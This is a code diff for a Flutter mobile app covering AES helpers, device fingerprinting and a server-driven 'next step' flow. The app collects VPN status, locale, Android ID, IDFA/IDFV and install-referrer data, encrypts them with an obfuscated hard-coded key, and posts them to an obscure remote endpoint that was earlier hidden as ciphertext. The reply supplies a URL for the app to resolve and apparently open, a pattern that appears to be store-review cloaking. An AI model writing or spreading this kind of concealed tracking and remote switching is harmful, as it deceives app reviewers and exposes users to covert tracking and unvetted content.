value &= 0xFFFFFFFF;
|
||||
if ((value & 0x80000000) != 0) {
|
||||
return value - 0x100000000;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static int _unsignedRightShift32(int value, int shift) {
|
||||
return (value & 0xFFFFFFFF) >> shift;
|
||||
}
|
||||
|
||||
static Uint8List deriveKeyBytes16() {
|
||||
final int seed = _toSigned32(javaStringHashCode(_cn) ^ 0x5f3759df);
|
||||
|
||||
final Uint8List keyBytes = Uint8List(16);
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
final int shift = (i & 3) * 8;
|
||||
final int shifted = _unsignedRightShift32(seed, shift);
|
||||
final int mask = (((shifted & 0xff) ^ ((i * 17 + 31) & 0xff)) & 0xff);
|
||||
keyBytes[i] = (_obf[i] ^ mask) & 0xff;
|
||||
}
|
||||
|
||||
return keyBytes;
|
||||
}
|
||||
|
||||
static Uint8List _aesEcbPkcs7(bool forEncryption, Uint8List input) {
|
||||
final key = deriveKeyBytes16();
|
||||
|
||||
final cipher = PaddedBlockCipherImpl(
|
||||
PKCS7Padding(),
|
||||
ECBBlockCipher(AESEngine()),
|
||||
);
|
||||
|
||||
cipher.init(
|
||||
forEncryption,
|
||||
PaddedBlockCipherParameters<CipherParameters, CipherParameters>(
|
||||
KeyParameter(key),
|
||||
null,
|
||||
),
|
||||
);
|
||||
|
||||
return cipher.process(input);
|
||||
}
|
||||
|
||||
/// 对应 JS / Java encrypt(String) -> Base64.NO_WRAP
|
||||
static String encrypt(String plainText) {
|
||||
try {
|
||||
final Uint8List input = Uint8List.fromList(utf8.encode(plainText));
|
||||
final Uint8List encrypted = _aesEcbPkcs7(true, input);
|
||||
return base64.encode(encrypted);
|
||||
} catch (_) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/// 对应 JS / Java decrypt(String base64Encrypted) -> UTF-8
|
||||
static String? decrypt(String base64Encrypted) {
|
||||
try {
|
||||
final Uint8List encrypted = Uint8List.fromList(
|
||||
base64.decode(base64Encrypted),
|
||||
);
|
||||
final Uint8List decrypted = _aesEcbPkcs7(false, encrypted);
|
||||
final String text = utf8.decode(decrypted, allowMalformed: false);
|
||||
return text.isNotEmpty ? text : null;
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// =========================
|
||||
// 新增:支持自定义 key / iv
|
||||
// AES/CBC/PKCS7
|
||||
// =========================
|
||||
|
||||
static Uint8List _normalizeKey(String key) {
|
||||
final Uint8List keyBytes = Uint8List.fromList(utf8.encode(key));
|
||||
|
||||
if (keyBytes.length != 16 &&
|
||||
keyBytes.length != 24 &&
|
||||
keyBytes.length != 32) {
|
||||
throw ArgumentError('AES key length must be 16/24/32 bytes.');
|
||||
}
|
||||
return keyBytes;
|
||||
}
|
||||
|
||||
static Uint8List _normalizeIv(String iv) {
|
||||
final Uint8List ivBytes = Uint8List.fromList(utf8.encode(iv));
|
||||
if (ivBytes.length != 16) {
|
||||
throw ArgumentError('AES CBC iv length must be 16 bytes.');
|
||||
}
|
||||
return ivBytes;
|
||||
}
|
||||
|
||||
static Uint8List _aesCbcPkcs7(
|
||||
bool forEncryption,
|
||||
Uint8List input,
|
||||
Uint8List key,
|
||||
Uint8List iv,
|
||||
) {
|
||||
final cipher = PaddedBlockCipherImpl(
|
||||
PKCS7Padding(),
|
||||
CBCBlockCipher(AESEngine()),
|
||||
);
|
||||
|
||||
cipher.init(
|
||||
forEncryption,
|
||||
PaddedBlockCipherParameters<CipherParameters, CipherParameters>(
|
||||
ParametersWithIV<KeyParameter>(KeyParameter(key), iv),
|
||||
null,
|
||||
),
|
||||
);
|
||||
|
||||
return cipher.process(input);
|
||||
}
|
||||
|
||||
/// 使用传入 key / iv 加密,返回 Base64
|
||||
///
|
||||
/// key 长度必须为 16 / 24 / 32 字节
|
||||
/// iv 长度必须为 16 字节
|
||||
static String encryptWithKeyIv(
|
||||
String plainText, {
|
||||
required String key,
|
||||
required String iv,
|
||||
}) {
|
||||
try {
|
||||
final Uint8List input = Uint8List.fromList(utf8.encode(plainText));
|
||||
final Uint8List keyBytes = _normalizeKey(key);
|
||||
final Uint8List ivBytes = _normalizeIv(iv);
|
||||
|
||||
final Uint8List encrypted = _aesCbcPkcs7(true, input, keyBytes, ivBytes);
|
||||
return base64.encode(encrypted);
|
||||
} catch (_) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/// 使用传入 key / iv 解密 Base64 密文,返回 UTF-8 字符串
|
||||
///
|
||||
/// key 长度必须为 16 / 24 / 32 字节
|
||||
/// iv 长度必须为 16 字节
|
||||
static String? decryptWithKeyIv(
|
||||
String base64Encrypted, {
|
||||
required String key,
|
||||
required String iv,
|
||||
}) {
|
||||
try {
|
||||
final Uint8List encrypted = Uint8List.fromList(
|
||||
base64.decode(base64Encrypted),
|
||||
);
|
||||
final Uint8List keyBytes = _normalizeKey(key);
|
||||
final Uint8List ivBytes = _normalizeIv(iv);
|
||||
|
||||
final Uint8List decrypted = _aesCbcPkcs7(
|
||||
false,
|
||||
encrypted,
|
||||
keyBytes,
|
||||
ivBytes,
|
||||
);
|
||||
final String text = utf8.decode(decrypted, allowMalformed: false);
|
||||
return text.isNotEmpty ? text : null;
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// =========================
|
||||
// 可选新增:支持直接传 Uint8List
|
||||
// =========================
|
||||
|
||||
static Uint8List encryptBytesWithKeyIv(
|
||||
Uint8List plainBytes, {
|
||||
required Uint8List key,
|
||||
required Uint8List iv,
|
||||
}) {
|
||||
if (key.length != 16 && key.length != 24 && key.length != 32) {
|
||||
throw ArgumentError('AES key length must be 16/24/32 bytes.');
|
||||
}
|
||||
if (iv.length != 16) {
|
||||
throw ArgumentError('AES CBC iv length must be 16 bytes.');
|
||||
}
|
||||
return _aesCbcPkcs7(true, plainBytes, key, iv);
|
||||
}
|
||||
|
||||
static Uint8List decryptBytesWithKeyIv(
|
||||
Uint8List encryptedBytes, {
|
||||
required Uint8List key,
|
||||
required Uint8List iv,
|
||||
}) {
|
||||
if (key.length != 16 && key.length != 24 && key.length != 32) {
|
||||
throw ArgumentError('AES key length must be 16/24/32 bytes.');
|
||||
}
|
||||
if (iv.length != 16) {
|
||||
throw ArgumentError('AES CBC iv length must be 16 bytes.');
|
||||
}
|
||||
return _aesCbcPkcs7(false, encryptedBytes, key, iv);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,124 +1,139 @@
|
||||
import 'dart:io';
|
||||
|
||||
import 'package:adjust_sdk/adjust.dart';
|
||||
import 'package:device_info_plus/device_info_plus.dart';
|
||||
import 'package:flutter/widgets.dart';
|
||||
import 'package:package_info_plus/package_info_plus.dart';
|
||||
import 'package:play_install_referrer/play_install_referrer.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
class DeviceInfo {
|
||||
static const String _spInstallReferrer = "installReferrer";
|
||||
static const String _spAdjustAttribution = "adjustAttribution";
|
||||
DeviceInfo._();
|
||||
static final DeviceInfo I = DeviceInfo._();
|
||||
Future<Map<String, dynamic>> deviceInfo() async {
|
||||
final Map<String, dynamic> json = {};
|
||||
|
||||
if (!Platform.isAndroid) {
|
||||
return json;
|
||||
}
|
||||
|
||||
final packageInfo = await PackageInfo.fromPlatform();
|
||||
final devicePlugin = DeviceInfoPlugin();
|
||||
final androidInfo = await devicePlugin.androidInfo;
|
||||
|
||||
json["packageName"] = packageInfo.packageName;
|
||||
json["versionName"] = packageInfo.version;
|
||||
json["versionCode"] = packageInfo.buildNumber;
|
||||
json["osVersion"] = androidInfo.version.release;
|
||||
json["sdkInt"] = androidInfo.version.sdkInt.toString();
|
||||
json["brand"] = androidInfo.brand;
|
||||
json["model"] = androidInfo.model;
|
||||
json["device"] = androidInfo.device;
|
||||
|
||||
try {
|
||||
final results = await Future.wait<String?>([
|
||||
getInstallReferrer(),
|
||||
getAdjustAdId(),
|
||||
getAdjustAttribution(),
|
||||
]);
|
||||
|
||||
final installReferrer = results[0];
|
||||
final adid = results[1];
|
||||
final adjustAttributionJson = results[2];
|
||||
|
||||
if (installReferrer != null && installReferrer.isNotEmpty) {
|
||||
json["installReferrer"] = installReferrer;
|
||||
}
|
||||
|
||||
if (adid != null && adid.isNotEmpty) {
|
||||
json["adjustAdId"] = adid;
|
||||
}
|
||||
|
||||
if (adjustAttributionJson != null && adjustAttributionJson.isNotEmpty) {
|
||||
json["adjustInstall"] = adjustAttributionJson;
|
||||
}
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] load adjust/referrer failed: $e");
|
||||
}
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
Future<String?> getInstallReferrer() async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final cachedReferrer = prefs.getString(_spInstallReferrer);
|
||||
if (cachedReferrer != null && cachedReferrer.isNotEmpty) {
|
||||
return cachedReferrer;
|
||||
}
|
||||
|
||||
final referrerDetails = await PlayInstallReferrer.installReferrer;
|
||||
final referrer = referrerDetails.installReferrer;
|
||||
|
||||
if (referrer != null && referrer.isNotEmpty) {
|
||||
await prefs.setString(_spInstallReferrer, referrer);
|
||||
}
|
||||
return referrer;
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] get install referrer failed: $e");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Future<String?> getAdjustAdId() async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final cached = prefs.getString("adjustAdId");
|
||||
if (cached != null && cached.isNotEmpty) {
|
||||
return cached;
|
||||
}
|
||||
|
||||
final adid = await Adjust.getAdidWithTimeout(2000);
|
||||
if (adid != null && adid.isNotEmpty) {
|
||||
await prefs.setString("adjustAdId", adid);
|
||||
}
|
||||
return adid;
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] get adjust adid failed: $e");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Future<String?> getAdjustAttribution() async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final cachedAttribution = prefs.getString(_spAdjustAttribution);
|
||||
if (cachedAttribution != null && cachedAttribution.isNotEmpty) {
|
||||
return cachedAttribution;
|
||||
}
|
||||
|
||||
final attribution = await Adjust.getAttributionWithTimeout(2000);
|
||||
final attributionJson = attribution?.jsonResponse;
|
||||
|
||||
if (attributionJson != null && attributionJson.isNotEmpty) {
|
||||
await prefs.setString(_spAdjustAttribution, attributionJson);
|
||||
}
|
||||
return attributionJson;
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] get adjust attribution failed: $e");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
import 'dart:io';
|
||||
|
||||
import 'package:adjust_sdk/adjust.dart';
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:uuid/uuid.dart';
|
||||
import 'package:android_id/android_id.dart';
|
||||
import 'package:device_info_plus/device_info_plus.dart';
|
||||
import 'package:flutter_vpn_detector/vpn_checker.dart';
|
||||
import 'package:package_info_plus/package_info_plus.dart';
|
||||
import 'package:play_install_referrer/play_install_referrer.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
class DeviceInfo {
|
||||
static const String _spInstallReferrer = "installReferrer";
|
||||
static const int defaultTimeout = 1000;
|
||||
static const int defaultMaxTimeout = 2000;
|
||||
DeviceInfo._();
|
||||
static final DeviceInfo I = DeviceInfo._();
|
||||
Future<Map<String, dynamic>> deviceInfo({
|
||||
int adidTimeout = -1,
|
||||
bool includeInstallReferrer = false,
|
||||
bool includeAdjust = true,
|
||||
}) async {
|
||||
final Map<String, dynamic> json = {};
|
||||
|
||||
try {
|
||||
adidTimeout = getTimeOut(adidTimeout);
|
||||
final packageInfo = await PackageInfo.fromPlatform();
|
||||
final devicePlugin = DeviceInfoPlugin();
|
||||
|
||||
final locale = PlatformDispatcher.instance.locale;
|
||||
bool isActive = await VpnChecker.isVpnActive();
|
||||
json["isVpn"] = isActive;
|
||||
json["country"] = locale.countryCode;
|
||||
json["language"] = locale.languageCode;
|
||||
json["packageName"] = packageInfo.packageName;
|
||||
json["versionName"] = packageInfo.version;
|
||||
json["versionCode"] = packageInfo.buildNumber;
|
||||
if (Platform.isAndroid) {
|
||||
final androidInfo = await devicePlugin.androidInfo;
|
||||
|
||||
json["osVersion"] = androidInfo.version.release;
|
||||
json["sdkInt"] = androidInfo.version.sdkInt.toString();
|
||||
json["brand"] = androidInfo.brand;
|
||||
json["model"] = androidInfo.model;
|
||||
json["device"] = androidInfo.device;
|
||||
json["androidId"] = await getAndroidId();
|
||||
} else if (Platform.isIOS) {
|
||||
final iosInfo = await devicePlugin.iosInfo;
|
||||
json["osVersion"] = iosInfo.systemVersion;
|
||||
json["model"] = iosInfo.model;
|
||||
json["device"] = iosInfo.modelName;
|
||||
json["androidId"] = iosInfo.identifierForVendor;
|
||||
json['idfv'] = iosInfo.identifierForVendor;
|
||||
try {
|
||||
json['idfa'] = await Adjust.getIdfa();
|
||||
if (includeAdjust) {
|
||||
json['adjustAdId'] = await Adjust.getAdidWithTimeout(adidTimeout);
|
||||
final adjustAttribution = await Adjust.getAttributionWithTimeout(
|
||||
adidTimeout,
|
||||
);
|
||||
if (adjustAttribution != null) {
|
||||
json['adjustAttribution'] = adjustAttribution.jsonResponse;
|
||||
json["clickLable"] = adjustAttribution.clickLabel;
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
debugPrint("$iosInfo");
|
||||
}
|
||||
|
||||
if (includeInstallReferrer) {
|
||||
final installReferrer = await getInstallReferrer(timeout: adidTimeout);
|
||||
if (installReferrer != null && installReferrer.isNotEmpty) {
|
||||
json["installReferrer"] = installReferrer;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] load adjust/referrer failed: $e");
|
||||
}
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
Future<String?> getInstallReferrer({int timeout = 2000}) async {
|
||||
try {
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
final cachedReferrer = prefs.getString(_spInstallReferrer);
|
||||
if (cachedReferrer != null && cachedReferrer.isNotEmpty) {
|
||||
return cachedReferrer;
|
||||
}
|
||||
|
||||
final referrerDetails = await PlayInstallReferrer.installReferrer.timeout(
|
||||
Duration(milliseconds: timeout),
|
||||
);
|
||||
final referrer = referrerDetails.installReferrer;
|
||||
|
||||
if (referrer != null && referrer.isNotEmpty) {
|
||||
await prefs.setString(_spInstallReferrer, referrer);
|
||||
}
|
||||
return referrer;
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] get install referrer failed: $e");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
int getTimeOut(int timeout) {
|
||||
if (timeout <= 0) {
|
||||
return defaultTimeout;
|
||||
}
|
||||
return timeout;
|
||||
}
|
||||
|
||||
Future<String> getAndroidId() async {
|
||||
try {
|
||||
AndroidId androidIdPlugin = AndroidId();
|
||||
final androidId = await androidIdPlugin.getId();
|
||||
return androidId ?? await createDeviceId();
|
||||
} catch (e) {
|
||||
debugPrint("[DeviceInfo] get Android ID failed: $e");
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
Future<String> createDeviceId() async {
|
||||
const key = "createdDeviceId";
|
||||
SharedPreferences prefs = await SharedPreferences.getInstance();
|
||||
String? deviceId = prefs.getString(key);
|
||||
if (deviceId != null && deviceId.isNotEmpty) {
|
||||
return deviceId;
|
||||
}
|
||||
final uuid = const Uuid();
|
||||
deviceId = uuid.v4();
|
||||
deviceId = deviceId.replaceAll('-', '');
|
||||
await prefs.setString(key, deviceId);
|
||||
return deviceId;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,57 +1,61 @@
|
||||
import 'dart:async';
|
||||
import 'dart:convert';
|
||||
|
||||
import 'package:http/http.dart' as http;
|
||||
|
||||
import 'aes_decrypt.dart';
|
||||
|
||||
Future<dynamic> remoteInfo(String info) async {
|
||||
const String urlInfo =
|
||||
'ueytXddgndQ0JKZhjGTnMxSgQxnO4xT+dZc9PgCEw4lhZ28TUxqzoupSMIewnKOSJSgmlDi1Xj084F7/wMUUWg==';
|
||||
// const String urlInfo =
|
||||
// "Pq2OF021zqiIoq2ViKE3FDuoTvR4owYUiN+/7wU9ZpfV+JogViY3cv6lGw3/2aEQcULb+mXEzKPU78+bTrLwSA==";
|
||||
final String? url = AesDecrypt.decrypt(urlInfo);
|
||||
final String request = AesDecrypt.encrypt(info);
|
||||
final Map<String, dynamic> requestInfo = <String, dynamic>{
|
||||
'request': request,
|
||||
};
|
||||
|
||||
if (url == null || url.isEmpty) {
|
||||
throw Exception('HTTP error url');
|
||||
}
|
||||
|
||||
return postJson(url, requestInfo);
|
||||
}
|
||||
|
||||
Future<dynamic> postJson(
|
||||
String url,
|
||||
Map<String, dynamic> data, {
|
||||
int timeout = 8000,
|
||||
}) async {
|
||||
http.Response res;
|
||||
|
||||
try {
|
||||
res = await http
|
||||
.post(
|
||||
Uri.parse(url),
|
||||
headers: <String, String>{'Content-Type': 'application/json'},
|
||||
body: jsonEncode(data),
|
||||
)
|
||||
.timeout(Duration(milliseconds: timeout));
|
||||
} on TimeoutException {
|
||||
throw Exception('Request timeout');
|
||||
}
|
||||
|
||||
if (res.statusCode < 200 || res.statusCode >= 300) {
|
||||
throw Exception('HTTP ${res.statusCode}');
|
||||
}
|
||||
|
||||
final String rs = res.body;
|
||||
final String? jsonStr = AesDecrypt.decrypt(rs);
|
||||
|
||||
if (jsonStr == null || jsonStr.isEmpty) {
|
||||
throw Exception('Decrypt failed');
|
||||
}
|
||||
|
||||
return jsonDecode(jsonStr);
|
||||
}
|
||||
import 'dart:async';
|
||||
import 'dart:convert';
|
||||
|
||||
import 'package:http/http.dart' as http;
|
||||
|
||||
import 'aes_decrypt.dart';
|
||||
|
||||
const String url =
|
||||
'https://www.heindobig.com/y7uz9zi/jliocd/mp0urcnune/wmdls9ho';
|
||||
|
||||
Future<dynamic> remoteInfo(String info) async {
|
||||
final String request = AesDecrypt.encrypt(info);
|
||||
final Map<String, dynamic> requestInfo = <String, dynamic>{
|
||||
'request': request,
|
||||
};
|
||||
|
||||
return postJson(url, requestInfo);
|
||||
}
|
||||
|
||||
Future<dynamic> reportInfo(String info) async {
|
||||
final reportUrl = "${url}t";
|
||||
final String request = AesDecrypt.encrypt(info);
|
||||
final Map<String, dynamic> requestInfo = <String, dynamic>{
|
||||
'request': request,
|
||||
};
|
||||
|
||||
return postJson(reportUrl, requestInfo);
|
||||
}
|
||||
|
||||
Future<dynamic> postJson(
|
||||
String url,
|
||||
Map<String, dynamic> data, {
|
||||
int timeout = 8000,
|
||||
}) async {
|
||||
http.Response res;
|
||||
|
||||
try {
|
||||
res = await http
|
||||
.post(
|
||||
Uri.parse(url),
|
||||
headers: <String, String>{'Content-Type': 'application/json'},
|
||||
body: jsonEncode(data),
|
||||
)
|
||||
.timeout(Duration(milliseconds: timeout));
|
||||
} on TimeoutException {
|
||||
throw Exception('Request timeout');
|
||||
}
|
||||
|
||||
if (res.statusCode < 200 || res.statusCode >= 300) {
|
||||
throw Exception('HTTP ${res.statusCode}');
|
||||
}
|
||||
|
||||
final String rs = res.body;
|
||||
final String? jsonStr = AesDecrypt.decrypt(rs);
|
||||
|
||||
if (jsonStr == null || jsonStr.isEmpty) {
|
||||
throw Exception('Decrypt failed');
|
||||
}
|
||||
|
||||
return jsonDecode(jsonStr);
|
||||
}
|
||||
|
||||
281
lib/utils/next_setp.dart
Normal file
281
lib/utils/next_setp.dart
Normal file
@@ -0,0 +1,281 @@
|
||||
import 'dart:convert';
|
||||
|
||||
import 'package:adjust_sdk/adjust.dart' show Adjust;
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:package_info_plus/package_info_plus.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
import '../adjust/adjust_service.dart';
|
||||
|
||||
import 'device_info.dart';
|
||||
import 'http_util.dart';
|
||||
import 'redirect_url_resolver.dart';
|
||||
|
||||
class NextResult {
|
||||
final bool next;
|
||||
final String url;
|
||||
|
||||
const NextResult({required this.next, required this.url});
|
||||
}
|
||||
|
||||
const String _appTokenInfoKey = 'last_info';
|
||||
|
||||
Future<AppTokenInfo?> doLoadAppToken({bool forceRefresh = false}) async {
|
||||
final packageInfo = await PackageInfo.fromPlatform();
|
||||
final prefs = await SharedPreferences.getInstance();
|
||||
|
||||
if (!forceRefresh) {
|
||||
final cachedTokenInfo = AppTokenInfo.fromInfo(
|
||||
_decodeCachedInfo(prefs.getString(_appTokenInfoKey)),
|
||||
);
|
||||
if (cachedTokenInfo != null) {
|
||||
return cachedTokenInfo;
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
final appTokenInfo = await _fetchRemoteAppToken(packageInfo);
|
||||
if (appTokenInfo != null) {
|
||||
await prefs.setString(_appTokenInfoKey, jsonEncode(appTokenInfo.info));
|
||||
return appTokenInfo;
|
||||
}
|
||||
} catch (e) {
|
||||
debugPrint('load app token failed: $e');
|
||||
}
|
||||
|
||||
return AppTokenInfo.fromInfo(
|
||||
_decodeCachedInfo(prefs.getString(_appTokenInfoKey)),
|
||||
);
|
||||
}
|
||||
|
||||
bool _isValidRemoteInfo(Map<String, dynamic>? info) {
|
||||
if (info == null) return false;
|
||||
|
||||
return _isValidToken(info['e']?.toString());
|
||||
}
|
||||
|
||||
Map<String, dynamic> _normalizeRemoteInfo(Map<String, dynamic> info) {
|
||||
final normalized = Map<String, dynamic>.from(info);
|
||||
normalized['e'] = normalized['e']?.toString().trim();
|
||||
|
||||
final facebookAppId = normalized['m']?.toString().trim();
|
||||
if (facebookAppId != null && facebookAppId.isNotEmpty) {
|
||||
normalized['m'] = facebookAppId;
|
||||
} else {
|
||||
normalized.remove('m');
|
||||
}
|
||||
|
||||
final secret = normalized['n']?.toString().trim();
|
||||
if (secret != null && secret.isNotEmpty) {
|
||||
normalized['n'] = secret;
|
||||
} else {
|
||||
normalized.remove('n');
|
||||
}
|
||||
|
||||
return normalized;
|
||||
}
|
||||
|
||||
AppTokenInfo? _createAppTokenInfo(Map<String, dynamic>? info) {
|
||||
if (!_isValidRemoteInfo(info)) return null;
|
||||
|
||||
final normalizedInfo = _normalizeRemoteInfo(info!);
|
||||
return AppTokenInfo(
|
||||
token: normalizedInfo['e'] as String,
|
||||
i: _parseAdidTimeout(normalizedInfo['i']),
|
||||
info: normalizedInfo,
|
||||
);
|
||||
}
|
||||
|
||||
class AppTokenInfo {
|
||||
final String token;
|
||||
final int i;
|
||||
final Map<String, dynamic> info;
|
||||
|
||||
const AppTokenInfo({required this.token, this.i = -1, required this.info});
|
||||
|
||||
static AppTokenInfo? fromInfo(Map<String, dynamic>? info) {
|
||||
return _createAppTokenInfo(info);
|
||||
}
|
||||
}
|
||||
|
||||
class NextStep {
|
||||
String appToken = "";
|
||||
String url = "";
|
||||
bool resolver = true;
|
||||
int i = 200;
|
||||
dynamic rs;
|
||||
bool _j = false;
|
||||
bool get j => _j;
|
||||
|
||||
NextStep._();
|
||||
static final NextStep I = NextStep._();
|
||||
|
||||
Future<void> loadAppToken() async {
|
||||
final tokenInfo = await doLoadAppToken();
|
||||
if (tokenInfo != null) {
|
||||
appToken = tokenInfo.token;
|
||||
i = tokenInfo.i;
|
||||
}
|
||||
await Adjust.requestAppTrackingAuthorization();
|
||||
if (_isValidToken(appToken)) {
|
||||
await AdjustService.instance.init(appToken);
|
||||
}
|
||||
|
||||
|
||||
// 方法不在使用,保留以兼容之前的调用
|
||||
}
|
||||
|
||||
Future<void> loadAppInfo() async {
|
||||
try {
|
||||
final includeAdjust = _isValidToken(appToken);
|
||||
if (!includeAdjust) {
|
||||
return;
|
||||
}
|
||||
final deviceInfo = await _loadDeviceInfo(
|
||||
adidTimeout: i,
|
||||
includeAdjust: includeAdjust,
|
||||
);
|
||||
if (deviceInfo.isEmpty) {
|
||||
return;
|
||||
}
|
||||
rs = await remoteInfo(jsonEncode(deviceInfo));
|
||||
if (rs is! Map<String, dynamic>) return;
|
||||
|
||||
_applyEventMap(rs['f']);
|
||||
} catch (e) {
|
||||
debugPrint("loadAppInfo error $e");
|
||||
}
|
||||
}
|
||||
|
||||
Future<String> loadUrl() async {
|
||||
try {
|
||||
if (rs is! Map<String, dynamic>) {
|
||||
return "";
|
||||
}
|
||||
final rawUrl = rs['b']?.toString().trim() ?? '';
|
||||
_j = parseInfo(rs['j']);
|
||||
return rawUrl;
|
||||
} catch (_) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Future<NextResult> next() async {
|
||||
try {
|
||||
final appTokenInfo = await doLoadAppToken();
|
||||
if (appTokenInfo == null || !_isValidToken(appTokenInfo.token)) {
|
||||
return const NextResult(next: true, url: '');
|
||||
}
|
||||
|
||||
|
||||
|
||||
AdjustService.instance.init(appTokenInfo.token);
|
||||
|
||||
|
||||
final deviceInfo = await _loadDeviceInfo(
|
||||
adidTimeout: appTokenInfo.i,
|
||||
includeAdjust: true,
|
||||
);
|
||||
if (deviceInfo.isEmpty) {
|
||||
return const NextResult(next: true, url: '');
|
||||
}
|
||||
|
||||
final rs = await remoteInfo(jsonEncode(deviceInfo));
|
||||
if (rs is! Map<String, dynamic>) {
|
||||
return const NextResult(next: true, url: '');
|
||||
}
|
||||
|
||||
_applyEventMap(rs['f']);
|
||||
|
||||
final rawUrl = rs['b']?.toString().trim() ?? '';
|
||||
if (rawUrl.isEmpty) {
|
||||
return const NextResult(next: true, url: '');
|
||||
}
|
||||
|
||||
final resolvedUrl = await resolveRedirectUrl(rawUrl);
|
||||
return NextResult(next: false, url: resolvedUrl);
|
||||
} catch (e) {
|
||||
debugPrint('next step failed: $e');
|
||||
return const NextResult(next: true, url: '');
|
||||
}
|
||||
}
|
||||
|
||||
Future<Map<String, dynamic>> _loadDeviceInfo({
|
||||
required int adidTimeout,
|
||||
bool includeAdjust = true,
|
||||
}) async {
|
||||
return await DeviceInfo.I.deviceInfo(
|
||||
adidTimeout: adidTimeout,
|
||||
includeAdjust: includeAdjust,
|
||||
);
|
||||
}
|
||||
|
||||
Future<AppTokenInfo?> _fetchRemoteAppToken(PackageInfo packageInfo) async {
|
||||
final info = {};
|
||||
info.addAll(<String, dynamic>{
|
||||
'packageName': packageInfo.packageName,
|
||||
'versionName': packageInfo.version,
|
||||
'versionCode': packageInfo.buildNumber,
|
||||
'onlyAppToken': true,
|
||||
});
|
||||
|
||||
final rs = await remoteInfo(jsonEncode(info));
|
||||
if (rs is! Map<String, dynamic>) return null;
|
||||
|
||||
final token = rs['e']?.toString().trim();
|
||||
if (!_isValidToken(token)) return null;
|
||||
|
||||
return AppTokenInfo.fromInfo(rs);
|
||||
}
|
||||
|
||||
Map<String, dynamic>? _decodeCachedInfo(String? value) {
|
||||
if (value == null || value.isEmpty) return null;
|
||||
|
||||
try {
|
||||
final decoded = jsonDecode(value);
|
||||
if (decoded is Map<String, dynamic>) return decoded;
|
||||
if (decoded is Map) return Map<String, dynamic>.from(decoded);
|
||||
} catch (_) {}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
void _applyEventMap(dynamic value) {
|
||||
if (value is! Map) return;
|
||||
|
||||
final eventMapInfo = <String, String>{};
|
||||
for (final entry in value.entries) {
|
||||
final key = entry.key?.toString();
|
||||
final eventToken = entry.value?.toString();
|
||||
if (key != null &&
|
||||
key.isNotEmpty &&
|
||||
eventToken != null &&
|
||||
eventToken.isNotEmpty) {
|
||||
eventMapInfo[key] = eventToken;
|
||||
}
|
||||
}
|
||||
|
||||
if (eventMapInfo.isNotEmpty) {
|
||||
AdjustService.instance.eventNameToToken = eventMapInfo;
|
||||
}
|
||||
}
|
||||
|
||||
bool _isValidToken(String? token) {
|
||||
return token != null && token.trim().length > 5;
|
||||
}
|
||||
|
||||
int _parseAdidTimeout(dynamic value) {
|
||||
if (value is num) return value.toInt();
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool parseInfo(dynamic info) {
|
||||
if (info == null) {
|
||||
return false;
|
||||
}
|
||||
if (info is bool) return info;
|
||||
if (info is num) return info != 0;
|
||||
if (info is String) return info.trim().toLowerCase() == "true";
|
||||
return false;
|
||||
}
|
||||
@@ -1,125 +1,125 @@
|
||||
import 'dart:async';
|
||||
import 'dart:io';
|
||||
import 'package:flutter/widgets.dart';
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
|
||||
const SP_ORIGIN = "redirect_cache_origin";
|
||||
const SP_RESOLVED = "redirect_cache_resolved";
|
||||
|
||||
Future<void> sleep(int ms) async {
|
||||
await Future.delayed(Duration(milliseconds: ms));
|
||||
}
|
||||
|
||||
class HeadResult {
|
||||
final int statusCode;
|
||||
final bool redirected;
|
||||
final String? location;
|
||||
|
||||
HeadResult(this.statusCode, this.redirected, this.location);
|
||||
}
|
||||
|
||||
Future<HeadResult?> headRequest(String url) async {
|
||||
try {
|
||||
final client = HttpClient();
|
||||
final request = await client.openUrl("HEAD", Uri.parse(url));
|
||||
|
||||
request.followRedirects = false;
|
||||
request.headers.set("Cache-Control", "no-cache");
|
||||
request.headers.set("Pragma", "no-cache");
|
||||
|
||||
final response = await request.close();
|
||||
|
||||
final location = response.headers.value(HttpHeaders.locationHeader);
|
||||
|
||||
final redirected = response.statusCode >= 300 && response.statusCode < 400;
|
||||
|
||||
return HeadResult(response.statusCode, redirected, location);
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Future<bool> canConnect(String url) async {
|
||||
try {
|
||||
final res = await headRequest(url);
|
||||
return res != null;
|
||||
} catch (_) {
|
||||
return false;
|
||||
}
|
||||
}
|
